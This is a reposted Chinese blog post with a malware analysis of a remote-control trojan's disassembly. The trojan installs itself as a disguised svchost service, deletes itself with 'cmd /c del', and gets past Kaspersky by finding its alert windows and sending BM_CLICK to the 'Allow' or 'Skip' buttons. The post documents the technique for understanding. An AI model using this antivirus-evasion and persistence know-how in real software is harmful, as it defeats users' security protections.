一个过主动防御的方法

关注

转载最新推荐文章于 2026-06-28 13:21:00 发布 4.9k 阅读 AI 写同款· GEO 优化 ›

绕过卡巴斯基主动防御系统方法的讨论 |=---------------------------------------------------------------------------=||=-----------------=[ 绕过卡巴斯基主动防御系统方法的讨论 ]=----------------=||=-------------------------------------------------------- 阅读详情

今天拿到一个过kaspersky主动防御而不改系统时间的远控马，于是分析下吧：

首先当然是创建线程：
push esp          ; lpThreadId
push 0             ; dwCreationFlags
push 0             ; lpParameter
push offset sub_409178 ; lpStartAddress
push 0             ; dwStackSize
push 0             ; lpThreadAttributes
call CreateThread
pop    edx
retn
获得句柄：
push 105h          ; nSize
lea    eax, [esp+10Ch+Filename]
push eax          ; lpFilename
push 0             ; hModule
call GetModuleFileNameA
mov    ecx, eax
mov    edx, esp
mov    eax, ebx
call sub_403DD4
jmp    short loc_402808

然后正式开始做坏事咯：

push ebp
mov    ebp, esp
add    esp, 0FFFFFFF8h
push ebx
xor    eax, eax
mov    [ebp+var_8], eax
xor    eax, eax
push ebp
push offset sub_408E55
push dword ptr fs:[eax]
mov    fs:[eax], esp
xor    ebx, ebx
lea    eax, [ebp+var_8]
mov    edx, offset s_SoftwareMicro ; 'Software/Microsoft/Windows/CurrentVersion/Policies/system'
call sub_403D7C
lea    eax, [ebp+hKey]
push eax          ; phkResult
push 0F003Fh       ; samDesired
push 0             ; ulOptions
mov    eax, [ebp+var_8]
call sub_404158
push eax          ; lpSubKey
push 80000001h    ; hKey
call RegOpenKeyExA_0
test eax, eax
jnz    short loc_408E3F

哦？RegOpenKeyExA这是要干什么呢？
push offset s_Disableregist ; "DisableRegistryTools"
mov    eax, [ebp+hKey]
push eax          ; hKey
call RegDeleteValueA
test eax, eax
jnz    short loc_408E3D
哦原来是禁用了注册表咯
接着：
loc_4091FF:          ; uSize
push 100h
lea    eax, [ebp+Buffer]
push eax          ; lpBuffer
call GetWindowsDirectoryA
jmp    short loc_409236

得到系统目录后：
loc_40A451:
lea    edx, [ebp+var_1C]
mov    eax, 1
call sub_4091CC
mov    edx, [ebp+var_1C]
mov    eax, offset dword_40CCD0
mov    ecx, offset s_Svchost_exe-k ; "svchost.exe -k remoteservice"
call sub_403FA4
lea    edx, [ebp+var_20]
mov    eax, 1
call sub_4091CC
mov    edx, [ebp+var_20]
mov    eax, offset dword_40CCCC
mov    ecx, offset s_Sys_dll_0 ; "sys.dll"
call sub_403FA4
call sub_40A030
test al, al
jz    short loc_40A4FC

释放个sys.dll,然后：

push ebp
mov    ebp, esp
push 0
push ebx
xor    eax, eax
push ebp
push offset s_SCILYRemotese ; "閈b朶xFF/xFF腽嬅[Y]胷emoteservice"
push dword ptr fs:[eax]
mov    fs:[eax], esp
xor    ebx, ebx
push offset dword_40C8CC ; phkResult
push 20019h       ; samDesired
push 0             ; ulOptions
mov    eax, ds:off_40B2C4
call sub_404158
push eax          ; lpSubKey
push 80000002h    ; hKey
call RegOpenKeyExA_0
test eax, eax
jnz    short loc_40A0D3

mov    ds:dword_40CCC8, 3E9h
mov    eax, ds:dword_40CCC8
mov    ds:cbData, eax
mov    ds:Type, 7
push offset cbData ; lpcbData
push offset Data    ; lpData
push offset Type    ; lpType
push 0             ; lpReserved
push (offset s_SCILYRemotese+0Dh) ; lpValueName
mov    eax, ds:dword_40C8CC
push eax          ; hKey
call RegQueryValueExA_0
test eax, eax
jnz    short loc_40A0C8
又是注册表，看看写了虾米东西：
push ebp
push offset loc_40A572
push dword ptr fs:[eax]
mov    fs:[eax], esp
lea    eax, [ebp+var_24]
mov    edx, offset s_RemoteNetwork ; "Remote network Help  Control Service"
call sub_403EC0
mov    eax, [ebp+var_24]
push eax
mov    eax, ds:dword_40CCD0
call sub_404158
mov    edx, eax
lea    eax, [ebp+var_28]
call sub_403EC0
mov    ecx, [ebp+var_28]
mov    edx, offset s_RemoteNetwo_0 ; "Remote network Help  Control Service"
mov    eax, ds:off_40B2C8
call sub_409D6C
xor    eax, eax
pop    edx
pop    ecx
pop    ecx
mov    fs:[eax], edx
jmp    short loc_40A57C

其实服务名很烂，一看就是马
具体的服务信息：
push ebp
mov    ebp, esp
add    esp, 0FFFFFFE0h
push ebx
xor    ebx, ebx
mov    [ebp+var_20], ebx
mov    [ebp+var_C], ecx
mov    [ebp+var_8], edx
mov    [ebp+var_4], eax
mov    eax, [ebp+var_4]
call sub_404148
mov    eax, [ebp+var_8]
call sub_404148
mov    eax, [ebp+var_C]
call sub_404148
mov    eax, [ebp+arg_0]
call sub_404148
xor    eax, eax
push ebp
push offset sub_409EDD
push dword ptr fs:[eax]
mov    fs:[eax], esp
mov    [ebp+var_D], 0
push 0F003Fh       ; dwDesiredAccess
push 0             ; lpDatabaseName
push 0             ; lpMachineName
call OpenSCManagerA
mov    [ebp+hSCManager], eax
push 0             ; lpPassword
push 0             ; lpServiceStartName
push 0             ; lpDependencies
push 0             ; lpdwTagId
push 0             ; lpLoadOrderGroup
mov    eax, [ebp+var_C]
call sub_404158
push eax          ; lpBinaryPathName
push 0             ; dwErrorControl
push 2             ; dwStartType
push 110h          ; dwServiceType
push 0F01FFh       ; dwDesiredAccess
mov    eax, [ebp+var_8]
call sub_404158
push eax          ; lpDisplayName
mov    eax, [ebp+var_4]
call sub_404158
push eax          ; lpServiceName
mov    eax, [ebp+hSCManager]
push eax          ; hSCManager  有兴趣的朋友可以算一下具体的配置信息咯；
call CreateServiceA
mov    [ebp+hSCObject], eax
mov    eax, ds:off_40B420
cmp    dword ptr [eax], 0
jz    loc_409E9B

最后：
call loc_409AD8
push 0             ; uCmdShow
call GetCommandLineA_0
mov    edx, eax
lea    eax, [ebp+var_30]
call sub_403EC0
mov    ecx, [ebp+var_30]
lea    eax, [ebp+var_2C]
mov    edx, offset s_CmdCDel ; "cmd /c del "
call sub_403FA4
mov    eax, [ebp+var_2C]
call sub_404158
push eax          ; lpCmdLine
call WinExec       不得不说，这么删除。。。实在很懒...... 真是奇怪？很普通的服务启动，跟鸽子一样，怎么能过卡巴呢？
原来如此：
00408F19  |.  68 FF000000 push 0FF                            ; /Count = FF (255.)
00408F1E  |.  8D85 00FFFFFF lea    eax, dword ptr [ebp-100]       ; |
00408F24  |.  50          push eax                            ; |Buffer
00408F25  |.  53          push ebx                            ; |hWnd
00408F26  |.  E8 19C0FFFF call <jmp.&user32.GetClassNameA>    ; /GetClassNameA  得到类名
00408F2B  |.  68 FF000000 push 0FF                            ; /Count = FF (255.)
00408F30  |.  8D85 00FEFFFF lea    eax, dword ptr [ebp-200]       ; |
00408F36  |.  50          push eax                            ; |Buffer
00408F37  |.  53          push ebx                            ; |hWnd
00408F38  |.  E8 1FC0FFFF call <jmp.&user32.GetWindowTextA>    ; /GetWindowTextA  得到窗体标题

开始寻找avp窗体,也就是kaspersky主程序
如果有kaspersky子窗体的button

00408F54  |.  BA 98904000 mov    edx, 00409098                   ;  avp.button
00408F59  |.  E8 46B1FFFF call 004040A4
00408F5E  |.  0F85 F8000000 jnz    0040905C
00408F64  |.  8D95 F8FDFFFF lea    edx, dword ptr [ebp-208]
00408F6A  |.  8D85 00FEFFFF lea    eax, dword ptr [ebp-200]
00408F70  |.  E8 C3D0FFFF call 00406038
00408F75  |.  8B85 F8FDFFFF mov    eax, dword ptr [ebp-208]
00408F7B  |.  BA AC904000 mov    edx, 004090AC                   ;  允许
00408F80  |.  E8 1FB1FFFF call 004040A4
00408F85  |.  0F84 B3000000 je    0040903E
00408F8B  |.  8D95 F4FDFFFF lea    edx, dword ptr [ebp-20C]
00408F91  |.  8D85 00FEFFFF lea    eax, dword ptr [ebp-200]
00408F97  |.  E8 9CD0FFFF call 00406038
00408F9C  |.  8B85 F4FDFFFF mov    eax, dword ptr [ebp-20C]
00408FA2  |.  BA BC904000 mov    edx, 004090BC                   ;  跳过
00408FA7  |.  E8 F8B0FFFF call 004040A4
00408FAC  |.  0F84 8C000000 je    0040903E
00408FB2  |.  8D95 F0FDFFFF lea    edx, dword ptr [ebp-210]
00408FB8  |.  8D85 00FEFFFF lea    eax, dword ptr [ebp-200]
00408FBE  |.  E8 75D0FFFF call 00406038
00408FC3  |.  8B85 F0FDFFFF mov    eax, dword ptr [ebp-210]
00408FC9  |.  BA CC904000 mov    edx, 004090CC                   ; "允许" 繁体都照顾到了，真强，希望下次英文的pass也有.
00408FCE  |.  E8 D1B0FFFF call 004040A4
00408FD3  |.  74 69       je    short 0040903E
00408FD5  |.  8D95 ECFDFFFF lea    edx, dword ptr [ebp-214]
00408FDB  |.  8D85 00FEFFFF lea    eax, dword ptr [ebp-200]
00408FE1  |.  E8 52D0FFFF call 00406038
00408FE6  |.  8B85 ECFDFFFF mov    eax, dword ptr [ebp-214]
00408FEC  |.  BA DC904000 mov    edx, 004090DC
00408FF1  |.  E8 AEB0FFFF call 004040A4
00408FF6  |.  74 46       je    short 0040903E
00408FF8  |.  8D95 E8FDFFFF lea    edx, dword ptr [ebp-218]
00408FFE  |.  8D85 00FEFFFF lea    eax, dword ptr [ebp-200]
00409004  |.  E8 2FD0FFFF call 00406038
00409009  |.  8B85 E8FDFFFF mov    eax, dword ptr [ebp-218]
0040900F  |.  BA EC904000 mov    edx, 004090EC
00409014  |.  E8 8BB0FFFF call 004040A4
00409019  |.  74 23       je    short 0040903E
0040901B  |.  8D95 E4FDFFFF lea    edx, dword ptr [ebp-21C][table=72%,#ffffff][tr][td=1,1,97%][/td][/tr][tr][td]00409021  |.  8D85 00FEFFFF lea    eax, dword ptr [ebp-200]
00409027  |.  E8 0CD0FFFF call 00406038
0040902C  |.  8B85 E4FDFFFF mov    eax, dword ptr [ebp-21C]
00409032  |.  BA FC904000 mov    edx, 004090FC
00409037  |.  E8 68B0FFFF call 004040A4
0040903C  |.  75 1E       jnz    short 0040905C
0040903E  |>  6A 00       push 0                               ; /lParam = 0
00409040  |.  6A 00       push 0                               ; |wParam = 0
00409042  |.  68 F5000000 push 0F5                            ; |Message = BM_CLICK
00409047  |.  53          push ebx                            ; |hWnd
00409048  |.  E8 27BFFFFF call <jmp.&user32.SendMessageA>    ; /SendMessageA
0040904D  |.  6A 00       push 0                               ; /lParam = 0
0040904F  |.  6A 00       push 0                               ; |wParam = 0
00409051  |.  68 F5000000 push 0F5                            ; |Message = BM_CLICK
00409056  |.  53          push ebx                            ; |hWnd
00409057  |.  E8 18BFFFFF call <jmp.&user32.SendMessageA>    ; /SendMessageA

BM_CLICK原形，MSDN:
Simulates the user clicking a button. This message causes the button to receive the WM_LBUTTONDOWN and WM_LBUTTONUP messages, and the button's parent window to receive a BN_CLICKED notification message

通过SendMessageA来点击允许，失败则点击跳过

00409104  /.  55          push ebp
00409105  |.  8BEC       mov    ebp, esp
00409107  |.  6A 00       push 0                               ; /Title = NULL
00409109  |.  68 4C914000 push 0040914C                      ; |avp.product_notification
0040910E  |.  E8 29BEFFFF call <jmp.&user32.FindWindowA>       ; /FindWindowA
00409113  |.  85C0       test eax, eax
00409115  |.  74 12       je    short 00409129
00409117  |.  6A 00       push 0                               ; /lParam = 0
00409119  |.  68 60F00000 push 0F060                         ; |wParam = F060
0040911E  |.  68 12010000 push 112                            ; |Message = WM_SYSCOMMAND
00409123  |.  50          push eax                            ; |hWnd
00409124  |.  E8 4BBEFFFF call <jmp.&user32.SendMessageA>    ; /SendMessageA
00409129  |>  6A 00       push 0                               ; /Title = NULL
0040912B  |.  68 68914000 push 00409168                      ; |avp.alertdialog
00409130  |.  E8 07BEFFFF call <jmp.&user32.FindWindowA>       ; /FindWindowA
00409135  |.  85C0       test eax, eax
00409137  |.  74 0D       je    short 00409146
00409139  |.  6A 00       push 0                               ; /lParam = 0
0040913B  |.  68 C08E4000 push 00408EC0                      ; |Callback = server.00408EC0
00409140  |.  50          push eax                            ; |hParent
00409141  |.  E8 EEBDFFFF call <jmp.&user32.EnumChildWindows> ; /EnumChildWindows
00409146  |>  5D          pop    ebp
00409147  /.  C2 1400    retn 14
0040914A    00          db    00
0040914B    00          db    00
0040914C .  41 56 50 2E 5>ascii "AVP.Product_Noti"
0040915C .  66 69 63 61 7>ascii "fication",0
00409165    00          db    00
00409166    00          db    00
00409167    00          db    00
00409168 .  41 56 50 2E 4>ascii "AVP.AlertDialog",0
00409178 .  6A 01       push 1
0040917A .  6A 00       push 0
0040917C .  68 04914000 push 00409104
00409181 .  6A 00       push 0
00409183 .  6A 01       push 1
00409185 .  E8 5EF8FFFF call <jmp.&winmm.timeSetEvent>
0040918A .  A3 64C84000 mov    dword ptr [40C864], eax
0040918F >  6A 00       push 0                               ; /MsgFilterMax = 0
00409191 .  6A 00       push 0                               ; |MsgFilterMin = 0
00409193 .  6A 00       push 0                               ; |hWnd = NULL
00409195 .  68 68C84000 push 0040C868                      ; |pMsg = server.0040C868
0040919A .  E8 ADBDFFFF call <jmp.&user32.GetMessageA>       ; /GetMessageA
枚举一个父窗口的所有子窗口，也就是EnumChildWindows,获取提示框信息,

这里看的出，如果kaspersky出现子窗口，而且含有跳过，允许，那么就会被程序控制......
00409185 .  E8 5EF8FFFF call <jmp.&winmm.timeSetEvent>
0040918A .  A3 64C84000 mov    dword ptr [40C864], eax
0040918F >  6A 00       push 0                               ; /MsgFilterMax = 0
00409191 .  6A 00       push 0                               ; |MsgFilterMin = 0
00409193 .  6A 00       push 0                               ; |hWnd = NULL
00409195 .  68 68C84000 push 0040C868                      ; |pMsg = server.0040C868
0040919A .  E8 ADBDFFFF call <jmp.&user32.GetMessageA>       ; /GetMessageA
0040919F .  85C0       test eax, eax
004091A1 .^ 75 EC       jnz    short 0040918F
004091A3 .  C3          retn
004091A4  /$  51          push ecx
004091A5  |.  84C0       test al, al
004091A7  |.  74 15       je    short 004091BE
004091A9  |.  54          push esp                            ; /pThreadId
004091AA  |.  6A 00       push 0                               ; |CreationFlags = 0
004091AC  |.  6A 00       push 0                               ; |pThreadParm = NULL
004091AE  |.  68 78914000 push 00409178                      ; |ThreadFunction = server.00409178
004091B3  |.  6A 00       push 0                               ; |StackSize = 0
004091B5  |.  6A 00       push 0                               ; |pSecurity = NULL
004091B7  |.  E8 58BCFFFF call <jmp.&kernel32.CreateThread>    ; /CreateThread

使用计时器反复获得信息，最后如果成功跳过kaspersky则createthread.

得到系统目录：
当然前面还有个getversion,用于判断是winnt还是windows目录。
004091FF  |> /68 00010000 push 100                            ; /BufSize = 100 (256.); Case 0 of switch 004091F3
00409204  |.  8D85 00FFFFFF lea    eax, dword ptr [ebp-100]       ; |
0040920A  |.  50          push eax                            ; |Buffer
0040920B  |.  E8 CCBCFFFF call <jmp.&kernel32.GetWindowsDirecto>; /GetWindowsDirectoryA
00409210  |.  EB 24       jmp    short 00409236
00409212  |>  68 00010000 push 100                            ; /BufSize = 100 (256.); Case 1 of switch 004091F3
00409217  |.  8D85 00FFFFFF lea    eax, dword ptr [ebp-100]       ; |
0040921D  |.  50          push eax                            ; |Buffer
0040921E  |.  E8 99BCFFFF call <jmp.&kernel32.GetSystemDirector>; /GetSystemDirectoryA
00409223  |.  EB 11       jmp    short 00409236
00409225  |>  8D85 00FFFFFF lea    eax, dword ptr [ebp-100]       ;  Case 2 of switch 004091F3
0040922B  |.  50          push eax                            ; /Buffer
0040922C  |.  68 00010000 push 100                            ; |BufSize = 100 (256.)
00409231  |.  E8 8EBCFFFF call <jmp.&kernel32.GetTempPathA>    ; /GetTempPathA
00409236  |>  83FB 02    cmp    ebx, 2                         ;  Default case of switch 004091F3

最后：
004092FC  |.  50          push eax                            ; |ResourceName
004092FD  |.  A1 60C64000 mov    eax, dword ptr [40C660]       ; |
00409302  |.  50          push eax                            ; |hModule => NULL
00409303  |.  E8 4CBBFFFF call <jmp.&kernel32.FindResourceA> ; /FindResourceA
00409308  |.  8BD8       mov    ebx, eax
0040930A  |.  85DB       test ebx, ebx
0040930C  |.  74 67       je    short 00409375
0040930E  |.  53          push ebx                            ; /hResource
0040930F  |.  A1 60C64000 mov    eax, dword ptr [40C660]       ; |
00409314  |.  50          push eax                            ; |hModule => NULL
00409315  |.  E8 D2BBFFFF call <jmp.&kernel32.LoadResource>    ; /LoadResource
0040931A  |.  85C0       test eax, eax
0040931C  |.  74 57       je    short 00409375
0040931E  |.  50          push eax                            ; /hResource
0040931F  |.  E8 D0BBFFFF call <jmp.&kernel32.LockResource>    ; /LockResource
00409324  |.  8BF8       mov    edi, eax
00409326  |.  53          push ebx                            ; /hResource
00409327  |.  A1 60C64000 mov    eax, dword ptr [40C660]       ; |
0040932C  |.  50          push eax                            ; |hModule => NULL
0040932D  |.  E8 D2BBFFFF call <jmp.&kernel32.SizeofResource> ; /SizeofResource
00409332  |.  8BD8       mov    ebx, eax
00409334  |.  85FF       test edi, edi
00409336  |.  74 3D       je    short 00409375
00409338  |.  6A 00       push 0
0040933A  |.  68 80000000 push 80
0040933F  |.  6A 02       push 2
00409341  |.  6A 00       push 0
00409343  |.  6A 00       push 0
00409345  |.  68 000000C0 push C0000000
0040934A  |.  8B45 F4    mov    eax, dword ptr [ebp-C]
0040934D  |.  E8 06AEFFFF call 00404158
00409352  |.  50          push eax                            ; |FileName
00409353  |.  E8 B4BAFFFF call <jmp.&kernel32.CreateFileA>    ; /CreateFileA
00409358  |.  8BF0       mov    esi, eax
0040935A  |.  83FE FF    cmp    esi, -1
0040935D  |.  74 16       je    short 00409375
0040935F  |.  6A 00       push 0                               ; /pOverlapped = NULL
00409361  |.  8D45 EC    lea    eax, dword ptr [ebp-14]       ; |
00409364  |.  50          push eax                            ; |pBytesWritten
00409365  |.  53          push ebx                            ; |nBytesToWrite
00409366  |.  57          push edi                            ; |Buffer
00409367  |.  56          push esi                            ; |hFile
00409368  |.  E8 AFBBFFFF call <jmp.&kernel32.WriteFile>       ; /WriteFile
0040936D  |.  85C0       test eax, eax
0040936F  |.  74 04       je    short 00409375
00409371  |.  C645 F3 01 mov    byte ptr [ebp-D], 1
00409375  |>  83FE FF    cmp    esi, -1
00409378  |.  74 06       je    short 00409380
0040937A  |.  56          push esi                            ; /hObject
0040937B  |.  E8 7CBAFFFF call <jmp.&kernel32.CloseHandle>    ; /CloseHandle

创建文件，关闭句柄。

收录于